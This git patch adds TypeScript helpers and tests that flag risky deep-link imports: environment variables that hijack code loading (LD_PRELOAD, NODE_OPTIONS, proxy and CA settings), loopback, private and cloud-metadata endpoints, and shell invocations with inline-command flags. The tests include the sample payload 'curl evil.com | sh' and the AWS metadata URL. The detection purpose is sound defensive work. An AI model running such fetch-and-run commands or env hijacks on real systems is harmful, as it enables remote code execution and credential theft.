From 6dbb944b546608662c5f3bedf9b89c0415bac830 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 28 Jul 2026 22:48:06 +0800 Subject: [PATCH] feat(deeplink): add risk classification helpers for import confirmation Pure helpers used only to annotate the deep-link confirmation dialog. They deliberately do not block anything: custom endpoints and env vars are normal third-party provider configuration (`http://localhost:11434` is ordinary Ollama usage), so filtering them would break legitimate setups. The actual gap is that the user cannot see what they are approving, which is a visibility problem, not a policy one. - `classifyEnvKey` flags variables that change how a process loads code rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS, NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No legitimate provider preset needs these set over a shared link. - `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud metadata addresses. Literal matching only, no DNS resolution: resolving adds latency and the answer can differ from what the client resolves later (rebinding), so treating it as a control would be false assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex alone misses that whole class. - `classifyCommand` looks at command *and* args, because the realistic payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI that renders only the command shows a harmless `sh`. Inline-command flags are matched by shape, not by literal, to cover combined POSIX short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's abbreviations of `-Command`. Every parameter takes `unknown`. These values come from arbitrary base64-decoded JSON, where TypeScript annotations offer no runtime guarantee; a non-string `command` would throw on `.split()` and blank the whole confirmation dialog, which is worse than the misleading render it replaces -- the user would not even see that something wants importing. `maskValue` moves here from the dialog component so the MCP and provider confirmations share one redaction rule instead of drifting apart. --- src/utils/deeplinkRisk.test.ts | 172 ++++++++++++++++++++++++++ src/utils/deeplinkRisk.ts | 213 +++++++++++++++++++++++++++++++++ 2 files changed, 385 insertions(+) create mode 100644 src/utils/deeplinkRisk.test.ts create mode 100644 src/utils/deeplinkRisk.ts diff --git a/src/utils/deeplinkRisk.test.ts b/src/utils/deeplinkRisk.test.ts new file mode 100644 index 000000000..b4a9682a8 --- /dev/null +++ b/src/utils/deeplinkRisk.test.ts @@ -0,0 +1,172 @@ +import { describe, expect, it } from "vitest"; +import { + classifyCommand, + classifyEndpoint, + classifyEnvKey, + maskValue, +} from "./deeplinkRisk"; + +describe("classifyEndpoint", () => { + it("flags loopback, RFC 1918 and cloud metadata addresses", () => { + for (const url of [ + "http://127.0.0.1:8080/v1", + "http://localhost:11434", + "http://10.0.0.1/api", + "http://172.16.0.1/", + "http://172.31.255.254/", + "http://192.168.1.1:9000/", + "http://169.254.169.254/latest/meta-data/", // AWS IMDS + "http://metadata.google.internal/", + "http://[::1]:8080/", + "http://box.local/", + "http://0.0.0.0/", + ]) { + expect(classifyEndpoint(url), url).toBe("privateEndpoint"); + } + }); + + it("leaves public endpoints alone", () => { + for (const url of [ + "https://api.anthropic.com/v1", + "https://gateway.example.com/claude/v1", + // 172.x 只有 16-31 属于私网,边界两侧都要判对 + "http://172.15.0.1/", + "http://172.32.0.1/", + // 192.168 之外的 192.x 是公网 + "http://192.167.1.1/", + // 169.x 只有 169.254 是链路本地 + "http://169.253.1.1/", + ]) { + expect(classifyEndpoint(url), url).toBeNull(); + } + }); + + it("returns null instead of throwing on unparseable input", () => { + expect(classifyEndpoint("")).toBeNull(); + expect(classifyEndpoint("not a url")).toBeNull(); + // url 来自解码后的任意 JSON,形状不可信 + expect(classifyEndpoint(42)).toBeNull(); + expect(classifyEndpoint({ href: "http://127.0.0.1" })).toBeNull(); + expect(classifyEndpoint(null)).toBeNull(); + }); + + it("sees through IPv4-mapped IPv6 hosts", () => { + // `new URL()` 把 `[::ffff:127.0.0.1]` 归一成十六进制 `[::ffff:7f00:1]`, + // 点分形式在这一步就没了——只按 \d+\.\d+\.\d+\.\d+ 匹配会整类漏掉。 + expect(classifyEndpoint("http://[::ffff:127.0.0.1]/")).toBe( + "privateEndpoint", + ); + expect(classifyEndpoint("http://[::ffff:169.254.169.254]/")).toBe( + "privateEndpoint", + ); + expect(classifyEndpoint("http://[::ffff:10.0.0.1]/")).toBe( + "privateEndpoint", + ); + expect(classifyEndpoint("http://[0:0:0:0:0:ffff:c0a8:1]/")).toBe( + "privateEndpoint", + ); + // 映射的公网地址不该误报:8.8.8.8 → ::ffff:808:808 + expect(classifyEndpoint("http://[::ffff:8.8.8.8]/")).toBeNull(); + }); +}); + +describe("classifyEnvKey", () => { + it("flags variables that change how a process loads code", () => { + for (const key of [ + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "DYLD_INSERT_LIBRARIES", + "NODE_OPTIONS", + "NODE_EXTRA_CA_CERTS", + "PYTHONPATH", + "PATH", + "HTTPS_PROXY", + "https_proxy", // 大小写不敏感 + ]) { + expect(classifyEnvKey(key), key).toBe("envHijack"); + } + }); + + it("leaves ordinary provider config alone", () => { + // 这几个是供应商预设的日常字段,误报会让整个提示失去意义 + for (const key of [ + "ANTHROPIC_AUTH_TOKEN", + "ANTHROPIC_BASE_URL", + "GEMINI_API_KEY", + "API_TIMEOUT_MS", + "ANTHROPIC_MODEL", + ]) { + expect(classifyEnvKey(key), key).toBeNull(); + } + }); +}); + +describe("classifyCommand", () => { + it("flags a shell invoked with an inline command string", () => { + // 这正是界面上只渲染 command 时显示成无害 `sh` 的那种 payload + expect(classifyCommand("sh", ["-c", "curl evil.com | sh"])).toBe( + "shellCommand", + ); + expect(classifyCommand("/bin/bash", ["-c", "x"])).toBe("shellCommand"); + expect(classifyCommand("powershell.exe", ["-Command", "x"])).toBe( + "shellCommand", + ); + }); + + it("leaves normal MCP launchers alone", () => { + expect( + classifyCommand("npx", ["-y", "@modelcontextprotocol/server-git"]), + ).toBeNull(); + expect(classifyCommand("uvx", ["mcp-server-fetch"])).toBeNull(); + expect(classifyCommand("node", ["server.js"])).toBeNull(); + // shell 但没有 -c:不是"执行这段字符串"的形态 + expect(classifyCommand("sh", ["script.sh"])).toBeNull(); + expect(classifyCommand(undefined, [])).toBeNull(); + }); + + it("tolerates a non-array args field", () => { + // args 来自解码后的任意 JSON,形状不可信 + expect(classifyCommand("sh", "not-an-array")).toBeNull(); + expect(classifyCommand("sh", undefined)).toBeNull(); + expect(classifyCommand("sh", [null, 42, { a: 1 }])).toBeNull(); + }); + + it("never throws on a non-string command", () => { + // TS 签名挡不住 `JSON.parse` 出来的任意值。抛错会让确认框整个渲染失败—— + // 用户连"有东西要导入"都看不到,比显示误导性的 `Command: sh` 更糟。 + for (const hostile of [42, { a: 1 }, ["sh"], true, null, undefined]) { + expect(() => classifyCommand(hostile, ["-c", "x"])).not.toThrow(); + expect(classifyCommand(hostile, ["-c", "x"])).toBeNull(); + } + }); + + it("catches combined and case-insensitive inline-command flags", () => { + // POSIX shell 允许把短开关并成一串,只比 `-c` 字面量会漏掉这一整族 + expect(classifyCommand("bash", ["-lc", "curl x|sh"])).toBe("shellCommand"); + expect(classifyCommand("sh", ["-ec", "x"])).toBe("shellCommand"); + expect(classifyCommand("zsh", ["-lic", "x"])).toBe("shellCommand"); + // Windows 侧大小写不敏感 + expect(classifyCommand("cmd.exe", ["/C", "x"])).toBe("shellCommand"); + expect(classifyCommand("cmd", ["/k", "x"])).toBe("shellCommand"); + // PowerShell 的 -Command 允许任意合法缩写 + expect(classifyCommand("pwsh", ["-Comm", "x"])).toBe("shellCommand"); + expect(classifyCommand("powershell.exe", ["-EncodedCommand", "eA=="])).toBe( + "shellCommand", + ); + // 不含 c 的短开关串不算 + expect(classifyCommand("bash", ["-l", "script.sh"])).toBeNull(); + }); +}); + +describe("maskValue", () => { + it("masks credential-shaped keys but keeps ordinary values readable", () => { + expect(maskValue("ANTHROPIC_AUTH_TOKEN", "sk-ant-1234567890abcdef")).toBe( + "sk-ant-1************", + ); + expect(maskValue("ANTHROPIC_BASE_URL", "https://example.com")).toBe( + "https://example.com", + ); + // 短值不脱敏,否则连"是不是空的"都看不出来 + expect(maskValue("API_KEY", "short")).toBe("short"); + }); +}); diff --git a/src/utils/deeplinkRisk.ts b/src/utils/deeplinkRisk.ts new file mode 100644 index 000000000..cc1b7cee8 --- /dev/null +++ b/src/utils/deeplinkRisk.ts @@ -0,0 +1,213 @@ +// deeplink 导入确认框的取值呈现工具。 +// +// 这里的所有判定**只用于 UI 提示,不参与任何拦截决策**。深链接携带的自定义 +// endpoint 与 env 是第三方供应商的正常配置能力(`http://localhost:11434` 就是 +// Ollama / LM Studio 的常规用法),拦下来会打断合法场景。真正的缺口是用户在 +// 点「导入」时看不到自己在同意什么——所以补的是可见性,不是黑名单。 + +export type RiskKind = "envHijack" | "privateEndpoint" | "shellCommand"; + +/** + * 能改变子进程加载行为的环境变量。 + * + * 它们的共同点是:不影响"访问哪个 API",而是影响"进程启动时加载什么代码 / 信任 + * 哪张证书"。没有任何合法的供应商预设需要通过分享链接设置它们。 + */ +const ENV_HIJACK_PATTERNS: RegExp[] = [ + /^LD_/i, // LD_PRELOAD / LD_LIBRARY_PATH / LD_AUDIT + /^DYLD_/i, // macOS 对应物 + /^NODE_OPTIONS$/i, // --require 任意脚本 + /^NODE_EXTRA_CA_CERTS$/i, // 注入 CA → TLS 中间人 + /^PYTHONPATH$/i, + /^PYTHONSTARTUP$/i, + /^RUBYOPT$/i, + /^PERL5OPT$/i, + /^JAVA_TOOL_OPTIONS$/i, + /^BASH_ENV$/i, + /^ENV$/i, + /^IFS$/i, + /^PATH$/i, // 整体劫持命令解析 + /^HTTPS?_PROXY$/i, // 全量流量转发 +]; + +/** 会被 shell 解释成"执行下面这段字符串"的调用形态。 */ +const SHELL_INTERPRETERS = new Set([ + "sh", + "bash", + "zsh", + "dash", + "ksh", + "fish", + "csh", + "tcsh", + "cmd", + "cmd.exe", + "powershell", + "powershell.exe", + "pwsh", + "pwsh.exe", +]); + +/** + * 「下一个参数是要执行的命令串」这一族开关。 + * + * 不能只比 `-c`:POSIX shell 允许把单字母开关并成一串(`bash -lc`、`sh -eco pipefail` + * 之类),Windows 侧则是 `/c` `/k` 且大小写不敏感,PowerShell 还有 `-Command` + * 的各种缩写。这里按形态判定而不是枚举字面量。 + */ +function isInlineCommandFlag(arg: string): boolean { + const lower = arg.toLowerCase(); + + // cmd.exe:/c、/k,可带后缀(/c:) + if (/^\/[ck]\b/.test(lower)) return true; + + // PowerShell:-Command / -c 及其任意合法缩写(-comm、-comma…) + if (/^-c(o(m(m(a(n(d)?)?)?)?)?)?$/.test(lower)) return true; + if (lower === "-encodedcommand" || lower === "-e" || lower === "-ec") { + return true; + } + + // POSIX shell:单横线 + 一串短开关,其中含 c(-c、-lc、-ec、-eco…) + if (/^-[a-z]*c[a-z]*$/.test(lower)) return true; + + return false; +} + +/** + * 判定是否为环回 / 私网 / 云元数据地址。 + * + * 只做**字面量**匹配,不做 DNS 解析:解析会引入超时,而且解析结果与客户端稍后 + * 实际连接时的结果可以不同(DNS rebinding),拿它当防线是虚假的确定性。作为 + * "这个地址看着像内网,你确认吗"的提示,字面量匹配已经够用。 + */ +/** + * 取出主机的 IPv4 四元组,兼容 IPv4-mapped IPv6。 + * + * `new URL("http://[::ffff:127.0.0.1]/")` 会把主机**归一成十六进制** + * `[::ffff:7f00:1]`,点分形式在这一步就消失了,只按 `\d+\.\d+\.\d+\.\d+` + * 匹配会整类漏掉——`[::ffff:169.254.169.254]` 同理会绕过内网判定。 + */ +function extractIpv4Octets(bare: string): [number, number] | null { + const dotted = bare.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); + if (dotted) return [Number(dotted[1]), Number(dotted[2])]; + + // ::ffff:7f00:1 → 0x7f00 0x0001 → 127.0.0.1 + const mapped = bare.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/); + if (mapped) { + const high = parseInt(mapped[1], 16); + return [(high >> 8) & 0xff, high & 0xff]; + } + + // 少数实现保留点分尾巴:::ffff:127.0.0.1 + const mappedDotted = bare.match( + /^::ffff:(\d{1,3})\.(\d{1,3})\.\d{1,3}\.\d{1,3}$/, + ); + if (mappedDotted) { + return [Number(mappedDotted[1]), Number(mappedDotted[2])]; + } + + return null; +} + +export function classifyEndpoint(rawUrl: unknown): RiskKind | null { + if (typeof rawUrl !== "string") return null; + + let host: string; + try { + host = new URL(rawUrl).hostname.toLowerCase(); + } catch { + return null; + } + + // URL 会把 IPv6 主机保留在方括号里 + const bare = + host.startsWith("[") && host.endsWith("]") ? host.slice(1, -1) : host; + + if ( + bare === "localhost" || + bare.endsWith(".localhost") || + bare.endsWith(".local") || + bare.endsWith(".internal") || + bare === "::1" || + bare === "::" || + bare === "0.0.0.0" + ) { + return "privateEndpoint"; + } + + const octets = extractIpv4Octets(bare); + if (octets) { + const [a, b] = octets; + if ( + a === 127 || // 环回 + a === 10 || // RFC 1918 + a === 0 || + (a === 172 && b >= 16 && b <= 31) || + (a === 192 && b === 168) || + (a === 169 && b === 254) // 链路本地,含 AWS/GCP 元数据 169.254.169.254 + ) { + return "privateEndpoint"; + } + } + + // IPv6 唯一本地地址 fc00::/7 与链路本地 fe80::/10 + if (/^f[cd][0-9a-f]{2}:/.test(bare) || /^fe[89ab][0-9a-f]:/.test(bare)) { + return "privateEndpoint"; + } + + return null; +} + +export function classifyEnvKey(key: unknown): RiskKind | null { + if (typeof key !== "string") return null; + return ENV_HIJACK_PATTERNS.some((pattern) => pattern.test(key)) + ? "envHijack" + : null; +} + +/** + * MCP server 的 `command` + `args`。 + * + * 单看 `command` 完全不够:真实 payload 是 `command: "sh"` 配 + * `args: ["-c", "curl evil|sh"]`,界面上只渲染 command 时它显示成无害的 `sh`。 + * + * 两个参数都声明成 `unknown`:它们来自深链接里 base64 解码后的任意 JSON,TS 的 + * 类型标注在这个边界上不设防。写成 `string` 而实际收到对象或数字时 `.split()` + * 会抛错,把整个确认框炸成空白——那比显示一条误导性的 `Command: sh` 更糟,因为 + * 用户连"有东西要导入"都看不到了。 + */ +export function classifyCommand( + command: unknown, + args?: unknown, +): RiskKind | null { + if (typeof command !== "string" || !command) return null; + + // 只取基名:`/bin/sh` 与 `sh` 是同一回事 + const base = command.split(/[/\\]/).pop()?.toLowerCase() ?? ""; + if (!SHELL_INTERPRETERS.has(base)) return null; + + if (!Array.isArray(args)) return null; + return args.some((arg) => typeof arg === "string" && isInlineCommandFlag(arg)) + ? "shellCommand" + : null; +} + +/** + * 凭据类取值的展示脱敏。 + * + * 原先是 `DeepLinkImportDialog` 内的组件闭包;MCP 确认页也要展示 env,抽出来是 + * 为了两处共用同一套规则——各写一份迟早会漂移成两种脱敏口径。 + */ +export function maskValue(key: string, value: string): string { + const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"]; + const isSensitive = sensitiveKeys.some((k) => key.toUpperCase().includes(k)); + if (isSensitive && value.length > 8) { + return `${value.substring(0, 8)}${"*".repeat(12)}`; + } + return value; +} + +/** 风险种类 → i18n key。 */ +export function riskI18nKey(kind: RiskKind): string { + return `deeplink.risk.${kind}`; +}